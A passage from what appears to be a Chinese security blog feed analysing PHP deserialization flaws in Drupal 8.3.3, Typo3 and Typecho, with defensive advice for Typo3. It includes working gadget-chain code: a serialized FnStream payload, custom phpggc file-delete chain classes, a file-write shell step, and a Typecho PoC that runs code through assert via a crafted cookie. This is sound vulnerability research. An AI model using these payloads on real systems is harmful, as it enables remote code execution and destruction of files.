&lt;p&gt;&lt;code&gt;validateForm()&lt;/code&gt;的调用处在&lt;code&gt;http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import&lt;/code&gt;，&lt;code&gt;decode()&lt;/code&gt;的参数直接从表单获取，于是通过&lt;code&gt;import&lt;/code&gt;将恶意参数传递进去。&lt;/p&gt;

&lt;h3 id=&#34;三-漏洞利用&#34;&gt;三、漏洞利用&lt;/h3&gt;

&lt;p&gt;现在我们需要找到一个类，使之在被反序列化的时候执行危险函数，常规搜索&lt;code&gt;_destruct&lt;/code&gt;、&lt;code&gt;_tostring&lt;/code&gt;以及&lt;code&gt;_wakeup&lt;/code&gt;方法，在&lt;code&gt;drupal&lt;/code&gt;核心中有这么三个类可以被利用，其中两个在&lt;code&gt;phpggc&lt;/code&gt;工具中已经集成 ，另一个我们手动加入到&lt;code&gt;phpggc&lt;/code&gt;中&lt;/p&gt;

&lt;h4 id=&#34;1-远程代码执行&#34;&gt;1.  远程代码执行&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;vendor/guzzlehttp/psr7/src/FnStream.php&lt;/code&gt; &lt;code&gt;FnStream&lt;/code&gt;类的&lt;code&gt;__destruct()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;  public function __destruct()
  {
      if (isset($this-&amp;gt;_fn_close)) {
          call_user_func($this-&amp;gt;_fn_close);
      }
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们通过序列化这个类，传递参数&lt;code&gt;_fn_close&lt;/code&gt;为任意php代码，在&lt;code&gt;yaml_parse&lt;/code&gt;的时候反序列化便可以造成一个任意代码执行。&lt;/p&gt;

&lt;p&gt;在PHPGGC中已经内置这个类，查看信息&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539050117155.png&#34; alt=&#34;1539050117155&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看一下内部实现&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539050287387.png&#34; alt=&#34;1539050287387&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;phpggc&lt;/code&gt;将&lt;code&gt;_fn_close&lt;/code&gt;参数设置为&lt;code&gt;HandlerStack&lt;/code&gt;类，再在&lt;code&gt;HandlerStack&lt;/code&gt;序列化的时候传入可控参数&lt;code&gt;$handler&lt;/code&gt;，而在这个案例中我们不需要额外的&lt;code&gt;HandlerStack&lt;/code&gt;类了，所以对&lt;code&gt;generate()&lt;/code&gt;方法稍加修改，直接构造一个&lt;code&gt;FnStream&lt;/code&gt;类，注意参数是&lt;code&gt;array&lt;/code&gt;类型：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;return new \GuzzleHttp\Psr7\FnStream([
    &#39;close&#39; =&amp;gt; $code
]);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后生成序列化数据：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539050803329.png&#34; alt=&#34;1539050803329&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着拼接&lt;code&gt;YAML_PHP_TAG&lt;/code&gt;即&lt;code&gt;!php/object&lt;/code&gt;，并且要将字符串转义，注意序列化数据中的空字符，我们将其替换成&lt;code&gt;\0&lt;/code&gt;，最终生成的字符串如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;!php/object &amp;quot;O:24:\&amp;quot;GuzzleHttp\\Psr7\\FnStream\&amp;quot;:2:{s:33:\&amp;quot;\0GuzzleHttp\\Psr7\\FnStream\0methods\&amp;quot;;a:1:{s:5:\&amp;quot;close\&amp;quot;;s:7:\&amp;quot;phpinfo\&amp;quot;;}s:9:\&amp;quot;_fn_close\&amp;quot;;s:7:\&amp;quot;phpinfo\&amp;quot;;}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在&lt;code&gt;http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import&lt;/code&gt;import序列化后的数据，便可以执行代码&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539051346096.png&#34; alt=&#34;1539051346096&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539051456660.png&#34; alt=&#34;1539051456660&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;2-任意文件写入&#34;&gt;2.  任意文件写入&lt;/h4&gt;

&lt;p&gt;上面&lt;code&gt;call_user_func()&lt;/code&gt;造成了一个任意代码执行，我们再找到一个&lt;code&gt;file_put_contents()&lt;/code&gt;造成任意文件写入&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php&lt;/code&gt;的&lt;code&gt;FileCookieJar&lt;/code&gt;类&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539051809132.png&#34; alt=&#34;1539051809132&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__destruct()&lt;/code&gt;调用&lt;code&gt;save()&lt;/code&gt;方法，通过&lt;code&gt;file_put_contents()&lt;/code&gt;写入文件内容，而文件名和文件内容均是我们可以控制的，所以此处可以写入一个shell&lt;/p&gt;

&lt;p&gt;同样地看一下&lt;code&gt;phpggc&lt;/code&gt;中有关&lt;code&gt;FileCookieJar&lt;/code&gt;类的部分：&lt;code&gt;gadgetchains/Guzzle/FW/1/chain.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052187458.png&#34; alt=&#34;1539052187458&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过这个类生成序列化数据&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052263375.png&#34; alt=&#34;1539052263375&#34; /&gt;&lt;/p&gt;

&lt;p&gt;需要提供远程文件路径和本地文件路径两个参数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052815893.png&#34; alt=&#34;1539052815893&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着还是拼接和转义，并import数据&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052742894.png&#34; alt=&#34;1539052742894&#34; /&gt;&lt;/p&gt;

&lt;p&gt;写入的是整个json字符串，但是不影响代码执行。&lt;/p&gt;

&lt;h4 id=&#34;3-任意文件删除&#34;&gt;3.  任意文件删除&lt;/h4&gt;

&lt;p&gt;另一个类是&lt;code&gt;WindowsPipes&lt;/code&gt;，路径&lt;code&gt;vendor/symfony/process/Pipes/WindowsPipes.php&lt;/code&gt;，该类可以造成文件删除&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539053196182.png&#34; alt=&#34;1539053196182&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;phpggc&lt;/code&gt;中没有内置这个类，于是我们按照这个工具的框架来实现一下，方便理解该工具。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;lib/PHPGGC/GadgetChain.php&lt;/code&gt;已经有&lt;code&gt;TYPE_FD&lt;/code&gt;这个类型，代表&lt;code&gt;file_delete&lt;/code&gt;，那么我们直接在&lt;code&gt;lib/PHPGGC/GadgetChain/&lt;/code&gt;注册一个&lt;code&gt;FileDelete&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php

namespace PHPGGC\GadgetChain;

abstract class FileDelete extends \PHPGGC\GadgetChain
{
    public static $type = self::TYPE_FD;
    public $parameters = [
        &#39;file_name&#39;
    ];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个类就可以作为POP链拿来使用了&lt;/p&gt;

&lt;p&gt;然后在&lt;code&gt;Symfony&lt;/code&gt;目录下创建&lt;code&gt;RMF/1&lt;/code&gt;，并创建&lt;code&gt;chain&lt;/code&gt;和&lt;code&gt;gadgets&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gadgetchains/Symfony/RMF/1/chain.php&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php

namespace GadgetChain\Symfony;

class RMF1 extends \PHPGGC\GadgetChain\FileDelete
{
    public $version = &#39;2.6 &amp;lt;= 2.8.32&#39;;
    public $vector = &#39;__destruct&#39;;
    public $author = &#39;crlf&#39;;
    public $informations = &#39;Remove remote file.&#39;;

    public function generate(array $parameters)
    {
        $input = $parameters[&#39;file_name&#39;];

        return new \Symfony\Component\Process\Pipes\WindowsPipes($input);
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;gadgetchains/Symfony/RMF/1/gadgets.php&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php

namespace Symfony\Component\Process\Pipes;


class WindowsPipes
{
    private $files = array();

    public function __construct($input)
    {
        $this-&amp;gt;files = array($input);
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们直接生成&lt;code&gt;WindowsPipes&lt;/code&gt;的序列化数据，把文件名作为参数传入，在反序列化的时候自动调用&lt;code&gt;removeFiles()&lt;/code&gt;，实现任意文件删除&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539053814915.png&#34; alt=&#34;1539053814915&#34; /&gt;&lt;/p&gt;

&lt;p&gt;生成序列化字符串&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539053942995.png&#34; alt=&#34;1539053942995&#34; /&gt;&lt;/p&gt;

&lt;p&gt;import后文件被删除&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539054380813.png&#34; alt=&#34;1539054380813&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;四-总结&#34;&gt;四、总结&lt;/h3&gt;

&lt;p&gt;通过这个漏洞对&lt;code&gt;phpggc&lt;/code&gt;工具有了一定了解，我们可以添加自定义&lt;code&gt;POP&lt;/code&gt;链到工具中，用来丰富这个武器库。&lt;/p&gt;

&lt;p&gt;另外针对这个漏洞，文件写入和文件删除都需要知道网站的绝对路径，加上需要登录后才能利用，一定程度上加大了利用难度。&lt;/p&gt;

&lt;h2 id=&#34;0x03-typo3反序列化漏洞&#34;&gt;0x03 Typo3反序列化漏洞&lt;/h2&gt;

&lt;h3 id=&#34;一-介绍-1&#34;&gt;一、介绍&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Typo3&lt;/code&gt;也是一款著名的CMS，但是在国内流行程度不如&lt;code&gt;Wordpress&lt;/code&gt;。这个漏洞是今年&lt;code&gt;BlackHat&lt;/code&gt;大会上由&lt;code&gt;Sam Thomas&lt;/code&gt;分享反序列化漏洞议题时作为案例来讲的，该漏洞由&lt;code&gt;phar://&lt;/code&gt;触发，这是一个新型的反序列化利用方式，日常开发中容易忽略这个风险点，在漏洞利用中也用到了&lt;code&gt;phpggc&lt;/code&gt;这个工具，所以一并学习。&lt;/p&gt;

&lt;p&gt;关于该漏洞的官方描述，可以看&lt;a href=&#34;https://typo3.org/security/advisory/typo3-core-sa-2018-002/&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;二-phar-介绍&#34;&gt;二、phar://介绍&lt;/h3&gt;

&lt;p&gt;在分析漏洞前先介绍一下&lt;code&gt;phar://&lt;/code&gt;伪协议，直接看php手册的&lt;a href=&#34;http://php.net/manual/en/intro.phar.php&#34;&gt;介绍&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简单来说&lt;code&gt;phar&lt;/code&gt;就是&lt;code&gt;php&lt;/code&gt;压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被php访问并执行，与&lt;code&gt;file://&lt;/code&gt; &lt;code&gt;php://&lt;/code&gt;等类似，也是一种流包装器。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;phar&lt;/code&gt;结构由4部分组成&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stub&lt;/code&gt;  phar文件标识，格式为 &lt;code&gt;xxx&amp;lt;?php xxx; __HALT_COMPILER();?&amp;gt;；&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;manifest&lt;/code&gt;  压缩文件的属性等信息，以&lt;strong&gt;序列化&lt;/strong&gt;存储；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;contents&lt;/code&gt;  压缩文件的内容；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;signature&lt;/code&gt;  签名，放在文件末尾；&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里有两个关键点，一是文件标识，必须以&lt;code&gt;__HALT_COMPILER();?&amp;gt;&lt;/code&gt;结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者&lt;code&gt;pdf&lt;/code&gt;文件来绕过一些上传限制；二是反序列化，&lt;code&gt;phar&lt;/code&gt;存储的&lt;code&gt;meta-data&lt;/code&gt;信息以序列化方式存储，当文件操作函数通过&lt;code&gt;phar://&lt;/code&gt;伪协议解析&lt;code&gt;phar&lt;/code&gt;文件时就会将数据反序列化，而这样的文件操作函数有很多，包括下面这些：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539063733837.png&#34; alt=&#34;1539063733837&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图片来自&lt;a href=&#34;https://paper.seebug.org/680/&#34;&gt;seebug&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这中间大多数是常用的函数，在一个系统中使用相当广泛，结合文件伪造，使得通过&lt;code&gt;phar://&lt;/code&gt;解析造成的反序列化攻击变得愈加容易。&lt;/p&gt;

&lt;h3 id=&#34;三-漏洞分析&#34;&gt;三、漏洞分析&lt;/h3&gt;

&lt;p&gt;接下来看一下Typo3中存在漏洞的代码&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;typo3/sysext/core/Classes/Database/SoftReferenceIndex.php&lt;/code&gt;的&lt;code&gt;getTypoLinkParts()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539064169518.png&#34; alt=&#34;1539064169518&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上面说到存在风险的文件操作函数，其中就包括&lt;code&gt;file_exists()&lt;/code&gt;，当传给&lt;code&gt;file_exists()&lt;/code&gt;的参数是&lt;code&gt;phar&lt;/code&gt;压缩文档并通过&lt;code&gt;phar://&lt;/code&gt;伪协议解析时，就会反序列化其中的&lt;code&gt;metadata&lt;/code&gt;数据，一旦该数据被控制，就会形成漏洞。&lt;/p&gt;

&lt;p&gt;下面举一个例子演示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539064567894.png&#34; alt=&#34;1539064567894&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539064633273.png&#34; alt=&#34;1539064633273&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到通过&lt;code&gt;file_exists()&lt;/code&gt;函数判断文件是否存在即对&lt;code&gt;TestObject&lt;/code&gt;类进行了反序列化。&lt;/p&gt;

&lt;p&gt;那么我们可以构造&lt;code&gt;$splitLinkParam&lt;/code&gt;参数为&lt;code&gt;phar&lt;/code&gt;文件，其中包含恶意代码，传递给&lt;code&gt;file_exists()&lt;/code&gt;函数，便会触发漏洞。&lt;/p&gt;

&lt;h3 id=&#34;四-漏洞利用&#34;&gt;四、漏洞利用&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/s-n-t/phpggc&#34;&gt;pharggc&lt;/a&gt;是在&lt;code&gt;phpggc&lt;/code&gt;的基础上增加了对&lt;code&gt;phar&lt;/code&gt;的支持，能够将序列化后的&lt;code&gt;payload&lt;/code&gt;写入到&lt;code&gt;phar&lt;/code&gt;文件中，通过&lt;code&gt;phar://&lt;/code&gt;解析时触发&lt;code&gt;payload&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;我们已经找到可以触发漏洞的地方，但还需要一个类来执行代码，在Typo3中同样存在&lt;code&gt;FnStream&lt;/code&gt;类，所以我们还是使用&lt;code&gt;guzzle/rce1&lt;/code&gt;载荷将数据写入一张图片中&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539065928944.png&#34; alt=&#34;1539065928944&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539065937046.png&#34; alt=&#34;1539065937046&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后上传这个附件，接着创建一个页面，将Link设置为&lt;code&gt;phar://&lt;/code&gt;，注意需要将&lt;code&gt;:&lt;/code&gt;转义&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539067380611.png&#34; alt=&#34;1539067380611&#34; /&gt;&lt;/p&gt;

&lt;p&gt;保存后就会触发漏洞&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539067384583.png&#34; alt=&#34;1539067384583&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539070664504.png&#34; alt=&#34;1539070664504&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;五-总结及防御&#34;&gt;五、总结及防御&lt;/h3&gt;

&lt;p&gt;这个漏洞利用的是&lt;code&gt;phar&lt;/code&gt;的特性，在系统未过滤&lt;code&gt;phar://&lt;/code&gt;协议且参数可以控制时，容易引发漏洞，开发时也需要多注意限制使用不必要的流包装器，上传文件也要校验文件内容而不仅仅是文件头。&lt;/p&gt;

&lt;p&gt;防范措施&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;限制PHP流包装器的使用(传递)；&lt;/li&gt;
&lt;li&gt;控制文件操作函数的参数，过滤特殊字符，例如 phar:// 等；&lt;/li&gt;
&lt;li&gt;仅在特别请求时才对元数据进行反序列化；&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;0x04-总结&#34;&gt;0x04 总结&lt;/h2&gt;

&lt;p&gt;本文分析了两个漏洞，并结合&lt;code&gt;phpggc&lt;/code&gt;工具梳理了反序列化漏洞常见的攻击方式，以及如何寻找一条可以利用的POP链，也提到了开发中容易忽略的安全风险，希望能给大家起到帮助。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://paper.seebug.org/334/&#34;&gt;https://paper.seebug.org/334/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://paper.seebug.org/680&#34;&gt;https://paper.seebug.org/680&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/ambionics/phpggc&#34;&gt;https://github.com/ambionics/phpggc&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/s-n-t/phpggc&#34;&gt;https://github.com/s-n-t/phpggc&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://php.net/manual/en/function.yaml-parse.php&#34;&gt;http://php.net/manual/en/function.yaml-parse.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://php.net/manual/en/intro.phar.php&#34;&gt;http://php.net/manual/en/intro.phar.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple&#34;&gt;https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://typo3.org/security/advisory/typo3-core-sa-2018-002/&#34;&gt;https://typo3.org/security/advisory/typo3-core-sa-2018-002/&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Typecho install.php 反序列化漏洞分析</title>
      <link>https://kylingit.com/blog/typecho-install.php-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Mon, 30 Oct 2017 14:32:18 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/typecho-install.php-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;p&gt;正好在学习php代码审计，简单分析一下前几天的&lt;code&gt;Typecho install.php&lt;/code&gt;反序列化漏洞&lt;/p&gt;

&lt;h3 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h3&gt;

&lt;p&gt;漏洞点出现在&lt;code&gt;install.php&lt;/code&gt;第229-235行:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/Affah&#34; alt=&#34;0&#34; /&gt;
这里进行了一个反序列化操作，一般碰到这个都值得注意一下&lt;/p&gt;

&lt;p&gt;由于这是初始安装文件，复现时要想流程走到这里就得绕过程序自身的判断，它的判断逻辑如下:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/fQO9b&#34; alt=&#34;1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;就进行了两个简单的判断，&lt;code&gt;HTTP_REFERER&lt;/code&gt;是否为空以及是否来源于本站，这是很容易绕过的&lt;/p&gt;

&lt;p&gt;往下执行到&lt;code&gt;unserialize(base64_decode(Typecho_Cookie::get(&#39;__typecho_config&#39;)))&lt;/code&gt;反序列化操作，如果&lt;code&gt;Typecho_Cookie::get(&#39;__typecho_config&#39;)&lt;/code&gt;可控的话就可能导致一个漏洞&lt;/p&gt;

&lt;p&gt;跟进&lt;code&gt;Typecho_Cookie&lt;/code&gt;类的&lt;code&gt;get()&lt;/code&gt;方法分析一下:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/HW0eV&#34; alt=&#34;2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到&lt;code&gt;$_COOKIE[$key]&lt;/code&gt;的内容都是我们可以控制的，存在风险&lt;/p&gt;

&lt;p&gt;继续往下看到
&lt;code&gt;$db = new Typecho_Db($config[&#39;adapter&#39;], $config[&#39;prefix&#39;]);&lt;/code&gt;这里新建了一个&lt;code&gt;Typecho_Db&lt;/code&gt;对象，跟进去看一下这个对象的构造方法:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/yLOrO&#34; alt=&#34;3&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意这一行&lt;code&gt;$adapterName = &#39;Typecho_Db_Adapter_&#39; . $adapterName;&lt;/code&gt;
将&lt;code&gt;Typecho_Db_Adapter_&lt;/code&gt;属性与字符串进行了拼接，这就涉及到php的一个特性，如果&lt;code&gt;Typecho_Db_Adapter_&lt;/code&gt;传入的是一个实例化对象，那将自动触发这个对象的&lt;code&gt;__toString()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;我们全局搜索&lt;code&gt;__toString()&lt;/code&gt;方法，可以在&lt;code&gt;Feed.php&lt;/code&gt;的第223行找到一个&lt;code&gt;__toString()&lt;/code&gt;方法:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/nXTJN&#34; alt=&#34;4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;里面进行了3个&lt;code&gt;if&lt;/code&gt;判断，注意到第3个&lt;code&gt;if&lt;/code&gt;中有这样一句(同样在第2个&lt;code&gt;if&lt;/code&gt;中也存在):&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/11MHn&#34; alt=&#34;5&#34; /&gt;&lt;/p&gt;

&lt;p&gt;访问了&lt;code&gt;item&lt;/code&gt;元素里的一个属性&lt;code&gt;screenName&lt;/code&gt;，这就又涉及到php的一个特性，如果我们访问一个对象的私有属性或者不存在的属性到时候，会自动调用这个对象的&lt;code&gt;__get()&lt;/code&gt;方法，所以我们只要找到一个&lt;code&gt;__get()&lt;/code&gt;方法并且它的参数可控，那就形成了一条完整的调用链。&lt;/p&gt;

&lt;p&gt;全局搜索&lt;code&gt;__get()&lt;/code&gt;方法，在&lt;code&gt;Request.php&lt;/code&gt;第269行:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/zcYKG&#34; alt=&#34;6&#34; /&gt;&lt;/p&gt;

&lt;p&gt;继续跟进&lt;code&gt;get&lt;/code&gt;，第295行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/EbE9r&#34; alt=&#34;7&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到自定义的&lt;code&gt;get()&lt;/code&gt;方法最终返回的是&lt;code&gt;$this-&amp;gt;_applyFilter($value)&lt;/code&gt;，跟进&lt;code&gt;_applyFilter()&lt;/code&gt;看一下:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/tztDS&#34; alt=&#34;8&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意这里调用了&lt;code&gt;call_user_func()&lt;/code&gt;方法，而且这里的两个参数都是可控的，这就形成了一个任意代码执行的漏洞&lt;/p&gt;

&lt;p&gt;反过来回顾一下整个流程，构造&lt;code&gt;call_user_func()&lt;/code&gt;恶意方法——调用&lt;code&gt;__get()&lt;/code&gt;方法——调用&lt;code&gt;__toString()&lt;/code&gt;方法——控制传入的类——反序列化&lt;/p&gt;

&lt;h3 id=&#34;poc&#34;&gt;PoC&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class Typecho_Feed
{
    const ATOM1 = &#39;ATOM 1.0&#39;;
    private $_type;
    private $_items;
	
    public function __construct(){
        $this-&amp;gt;_type = $this::ATOM1;
        $this-&amp;gt;_items[0] = array(
            &#39;author&#39; =&amp;gt; new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this-&amp;gt;_params[&#39;screenName&#39;] = &#39;phpinfo()&#39;;
        $this-&amp;gt;_filter[0] = &#39;assert&#39;;
    }
}
$exp = array(
    &#39;adapter&#39; =&amp;gt; new Typecho_Feed(),
    &#39;prefix&#39; =&amp;gt; &#39;test&#39;
);
echo base64_encode(serialize($exp));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;构造&lt;code&gt;__typecho_config&lt;/code&gt;的值等于PoC输出内容，加上&lt;code&gt;referer&lt;/code&gt;头信息，发送给&lt;code&gt;http://localhost/install.php?finish=1&lt;/code&gt;
PoC执行流程: base64编码后的序列化内容经过解码后反序列化，传给&lt;code&gt;Typecho_Db&lt;/code&gt;构造函数，其中&lt;code&gt;adapter&lt;/code&gt;参数是一个&lt;code&gt;Typecho_Feed&lt;/code&gt;对象，拼接了字符串会调用&lt;code&gt;__toString()&lt;/code&gt;方法，控制可控变量进入第2个if分支，执行到&lt;code&gt;$item[&#39;author&#39;]-&amp;gt;screenName&lt;/code&gt;，当&lt;code&gt;author&lt;/code&gt;是一个&lt;code&gt;Typecho_Request&lt;/code&gt;对象且没有&lt;code&gt;screenName&lt;/code&gt;属性时，会调用&lt;code&gt;__get()&lt;/code&gt;方法执行&lt;code&gt;_applyFilter()&lt;/code&gt;，进而执行&lt;code&gt;call_user_func&lt;/code&gt;，传入&lt;code&gt;assert(phpinfo());&lt;/code&gt;执行成功&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/Ple7u&#34; alt=&#34;9&#34; /&gt;&lt;/p&gt;

